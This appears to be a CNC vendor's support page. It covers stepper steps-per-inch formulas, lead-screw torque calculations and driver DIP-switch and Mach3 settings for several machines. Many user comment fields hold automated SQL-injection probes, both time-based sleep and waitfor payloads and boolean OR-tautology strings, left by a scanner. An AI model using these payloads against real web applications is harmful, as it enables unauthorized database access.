The formula and calculation is a starting point to get into the area of steps per inch. You will then need to use the mach3 calibration utility to get the exact steps per inch.

Formula:
step per inch = (motor steps * microstepping) / (travel at one turn of the motor in inches)
if microstepping is set at 16 (1/16 on the driver) then and you are using a sprocket and chain with a pitch of .25 inches and 12 teeth on the drive sprocket
= (200 * 16) / (12 * .25)
= 3200 / 3
= 1066.666 steps per inch

For lead screw that has a travel of .5 inches at one turn like the 5 start 1/2 inch lead screw and using 4 microsteps per step (1/4):
= (200 * 4) / (.5)
= 800 / .5
= 1600 steps per inch

Remember to use the mach3 calibration wizard and double check the driver microstep setting.

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-1 OR 2+902-902-1=0+0+0+1 --

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-1 OR 2+722-722-1=0+0+0+1

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-1' OR 2+275-275-1=0+0+0+1 --

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-1' OR 2+345-345-1=0+0+0+1 or '6eaEcsTN'='

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-1" OR 2+474-474-1=0+0+0+1 --

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Click the link to add information to this solution:
WHAT IS THE FORMULA TO DETERMINE STEPS PER INCH OR RESOLUTION FOR EACH AXIS?

blueChick:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackToe:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackFoot:

X-axis
“CW8060 (6.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

greenBull:

X-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110
Mach3 Motor Tuning: 914.29 steps/in

Z-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/4 Microstep
Dipswitches: 01100100
Mach3 Motor Tuning: 1600 steps/in


Scratch-Build / Book-Build Kit:

X-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 1600 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

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Scratch built/book CNC with NEMA 34 motors and CW8060 microstep driver

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if(now()=sysdate(),sleep(15),0)

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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

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-1 OR 2+406-406-1=0+0+0+1 --

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if(now()=sysdate(),sleep(15),0)

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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0"XOR(if(now()=sysdate(),sleep(0),0))XOR"Z

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Click the link to add information to this solution:
HOW MANY STEPS PER INCH DO I SET IN MOTOR TUNING?

There are two main questions that we can answer with respect to motor torque and the mechanical advantage of lead screws, 1) What torque motor do you need to lift a particular weight, or 2) What maximum weight will my motor torque be able to lift.

This formula uses Newtons (N) as it's final unit. Use this with the included radius (R) to determine the torque. Newtons can easily be converted to lbs or ounces using online conversions.

Effort = Sf + (Load/(2 x pi x (R/p) x Se))

where:
p = pitch of the screw
Se = screw efficiency = Standard lead screw will be between 20% (.2) and 40% (.4)
Sf = static force. This is the force that is needed to start the movement. The number may be eliminated, but it is good to use a number in the 5 N to 20 N range.
Load = the expected load that the effort will need to carry (i.e., the router and the included axis assembly that the motor will need to lift)
R = radius of the lead screw


This formula is based on the "law of the machine"

The final effort amount with its unit of newtons and R will be the torque. For example, if the effort comes to 100 N (newtons) and the R is .5 inches, then you can assume that the effort is 50 N-in since it would take twice the effort to turn form the one inch mark from the center of the shaft.

Example:

Load = 90 N (20.2 lbs)
R = 1 inch since that is the length from the center of the shaft that the motor is rated
p = 1 inch / 13 = .08 inches

Effort = 5 N + (90 N / (2 x 3.14 x (1 / .08) x .2))
Effort = 5 N + (90 N / (6.28 x 12.5 x .2))
Effort = 5 N + (90 N / (15.7))
Effort = 5 N + (5.73 N)
Effort = 10.7 N = 2.4 lbs = 38.4 oz-in

I am putting the oz-in on the end because the formula considers the distance from the center of the shaft to be one inch.

Therefore, a 425 oz-in motor would be able to lift a 20.2 lb Router with its accompanying assembly. If the assembly and router is heavier, plug in the numbers and determine the effort required.

With a bit of algebra, the formula can be rewritten to find the load:

Load = (Effort - Sf) x (2 x pi x (R/p) x Se)

Another formula that does not consider friction at all:

Effort = (Load x p) / (2 x pi x R)

Lets see if we get similar results:

Effort = (20 lb x .08 inches) / (2 x 3.14 x 1)
Effort = 1.6 / 6.28 = .255 lbs = 4.08 oz-in

The results from both formulas appear to be very small because a 13 TPI screw will have enormous mechanical advantage.

It is evident that the first formula that does consider friction that we are loosely estimating is far more conservative than the second formula. Either way, even the most conservative formula shows that the 425 oz-in motor will handle very large weights. If you are using a lead screw with only two turns per inch, .5 inch pitch, you can determine the requirements with the first formula.

Example for a 10 TPI 5 start (2 turns per inch) lead screw:

Load = 90 N (20.2 lbs)
R = 1 inch since that is the length from the center of the shaft that the motor is rated
p = 1 inch / 2 = .5 inches

Effort = 5 N + (90 N / (2 x 3.14 x (1 / .5) x .2))
Effort = 5 N + (90 N / (6.28 x 2 x .2))
Effort = 5 N + (90 N / (2.512))
Effort = 5 N + (35.83 N)
Effort = 40.828 N = 9.18 lbs = 146.88 oz-in

Customer Response:
thank you so much

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Additional Information:
how do i calculate torque of stepper motor if lead screw coupled to motor shaft and load applied by lead screw on plate is 100 kg by vertically

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Pls


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1m 16mmdiameter ball screws calculations


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What is the max load that 2 NEMA 17 stepper motors (spaced 2 feet apart, both will be pushing up on the same gantry) can lift while using a rod with the following specifications T8 OD 8mm Pitch 2mm Lead 4mm for each motor.

Additional Information:


Additional Information:
1

Click the link to add information to this solution:
HOW DO I DETERMINE THE AMOUNT OF SCREW WEIGTH THAT MY MOTOR CAN HANDLE

blueChick:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackToe:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackFoot:

X-axis
“CW8060 (6.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

greenBull:

X-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110
Mach3 Motor Tuning: 914.29 steps/in

Z-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/4 Microstep
Dipswitches: 01100100
Mach3 Motor Tuning: 1600 steps/in


Scratch-Build / Book-Build Kit:

X-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 1600 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

Additional Information:


Additional Information:
Scratch built/book CNC with NEMA 34 motors and CW8060 microstep driver

Additional Information:


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L8NiICEm

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-1 OR 2+427-427-1=0+0+0+1 --

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-1 OR 2+145-145-1=0+0+0+1

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-1' OR 2+101-101-1=0+0+0+1 --

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-1' OR 2+739-739-1=0+0+0+1 or 'kXOzulhF'='

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-1" OR 2+194-194-1=0+0+0+1 --

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if(now()=sysdate(),sleep(15),0)

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1; waitfor delay '0:0:15' --

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TO93cbNY

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-1 OR 2+824-824-1=0+0+0+1 --

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-1 OR 2+681-681-1=0+0+0+1

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-1' OR 2+805-805-1=0+0+0+1 --

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-1' OR 2+93-93-1=0+0+0+1 or 'MpFdFb3O'='

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-1" OR 2+275-275-1=0+0+0+1 --

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-1); waitfor delay '0:0:15' --

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if(now()=sysdate(),sleep(15),0)

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-1); waitfor delay '0:0:7' --

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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-1); waitfor delay '0:0:15' --

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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1 waitfor delay '0:0:15' --

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0"XOR(if(now()=sysdate(),sleep(9),0))XOR"Z

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2k2XS4cL'; waitfor delay '0:0:15' --

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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g7NWXuig'); waitfor delay '0:0:15' --

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YkhmkP9W')) OR 826=(SELECT 826 FROM PG_SLEEP(15))--

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-5 OR 539=(SELECT 539 FROM PG_SLEEP(15))--

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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

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-5) OR 160=(SELECT 160 FROM PG_SLEEP(15))--

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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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nI56G5Pp')) OR 493=(SELECT 493 FROM PG_SLEEP(15))--

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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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vJlQYk5k

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-1 OR 2+406-406-1=0+0+0+1 --

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-1 OR 2+236-236-1=0+0+0+1

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-1' OR 2+914-914-1=0+0+0+1 --

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-1' OR 2+282-282-1=0+0+0+1 or '9J7jHjSj'='

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-1" OR 2+210-210-1=0+0+0+1 --

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if(now()=sysdate(),sleep(15),0)

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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0"XOR(if(now()=sysdate(),sleep(14),0))XOR"Z

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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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0"XOR(if(now()=sysdate(),sleep(0),0))XOR"Z

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1; waitfor delay '0:0:15' --

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-1); waitfor delay '0:0:15' --

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-1)); waitfor delay '0:0:15' --

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1 waitfor delay '0:0:15' --

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n2HpQRHN'); waitfor delay '0:0:15' --

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-5 OR 237=(SELECT 237 FROM PG_SLEEP(15))--

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-5) OR 65=(SELECT 65 FROM PG_SLEEP(15))--

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-1)) OR 486=(SELECT 486 FROM PG_SLEEP(15))--

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-1)) OR 399=(SELECT 399 FROM PG_SLEEP(14))--

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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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Click the link to add information to this solution:
HOW MANY STEPS PER INCH?

In the customer service live, just enter "motor tuning" and it will give you a list of all the recommended or default settings for our machines. However the acceleration and velocity for the greenBull(other machines) will be an actual determination on your trials. You will want the highest possible acceleration and velocity without the motors stalling, so you can do increments of ten to be on the safe side, if it is too slow try increments of 25.

The steps per inch is dependent on the microstepping:
Steps/Inch for the x and y
Steps = 200 motor steps per revolution x 16 microsteps = 3200 steps
Inches = sprocket number of teeth x pitch of the sprocket = 14 x .25" = 3.5 inches
steps/inch = 3200 / 3.5 = 914.28
This is really a starting point. You will then need to use the mach3 calibration function to get the perfect steps/inch value. Use as long a measurement as possible when calibrating.

Velocity:
Start with a value of 1000 ipm. Increase this value with a relatively low acceleration at about 10. You will notice at a particular velocity that it will stall. This is your stall velocity. I would take the stall velocity and reduce it by about 30% to 50% which should give you a good final safe velocity.

Acceleration:
Once the velocity is found, raise the acceleration until it start to stall at a low velocity. Reduce the acceleration by about the same percentage to stick with a safe acceleration.

The acceleration is mostly dependent on torque (current) and the top speed is dependent on the amount of voltage.

Give some tests with all of the axes running at the same time. If you notice and stalling, reduce velocities and acceleration depending on when the stall happens (top end, or acceleration curve).


X-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in
Y-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110
Mach3 Motor Tuning: 914.29 steps/in
Z-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/4 Microstep
Dipswitches: 01100100
Mach3 Motor Tuning: 1600 steps/in

Additional Information:


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Additional Information:
4th axis


Additional Information:


Additional Information:


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Click the link to add information to this solution:
HOW CAN I DETERMINE STEPS/INCH, VELOCITY AND ACCELERATION?

blueChick:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackToe:

X-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

blackFoot:

X-axis
“CW8060 (6.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/16 Microstep, 2.7A
Dipswitches: 11001100
Mach3 Motor Tuning: 1422.22 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

greenBull:

X-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110 (“0”=down, “1”=up)
Mach3 Motor Tuning: 914.29 steps/in

Y-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/16 Microstep
Dipswitches: 01100110
Mach3 Motor Tuning: 914.29 steps/in

Z-axis
“CW8060 (6.0A) Driver”
Set to 5.43A, 1/4 Microstep
Dipswitches: 01100100
Mach3 Motor Tuning: 1600 steps/in


Scratch-Build / Book-Build Kit:

X-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100 (“0”=down, “1”=up)
Mach3 Motor Tuning: 1600 steps/in

Y-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

Z-axis
“CW230 (3.0A) Driver”
Set to 1/4 Microstep, 2.7A
Dipswitches: 10101100
Mach3 Motor Tuning: 1600 steps/in

Additional Information:


Additional Information:
Scratch built/book CNC with NEMA 34 motors and CW8060 microstep driver

Additional Information:


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L8NiICEm

Additional Information:
-1 OR 2+427-427-1=0+0+0+1 --

Additional Information:
-1 OR 2+145-145-1=0+0+0+1

Additional Information:
-1' OR 2+101-101-1=0+0+0+1 --

Additional Information:
-1' OR 2+739-739-1=0+0+0+1 or 'kXOzulhF'='

Additional Information:
-1" OR 2+194-194-1=0+0+0+1 --

Additional Information:
if(now()=sysdate(),sleep(15),0)

Additional Information:
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Additional Information:



Additional Information:
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Additional Information:



Additional Information:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Additional Information:



Additional Information:
-1; waitfor delay '0:0:15' --

Additional Information:
TO93cbNY

Additional Information:
-1 OR 2+824-824-1=0+0+0+1 --

Additional Information:
-1 OR 2+681-681-1=0+0+0+1

Additional Information:
-1' OR 2+805-805-1=0+0+0+1 --

Additional Information:
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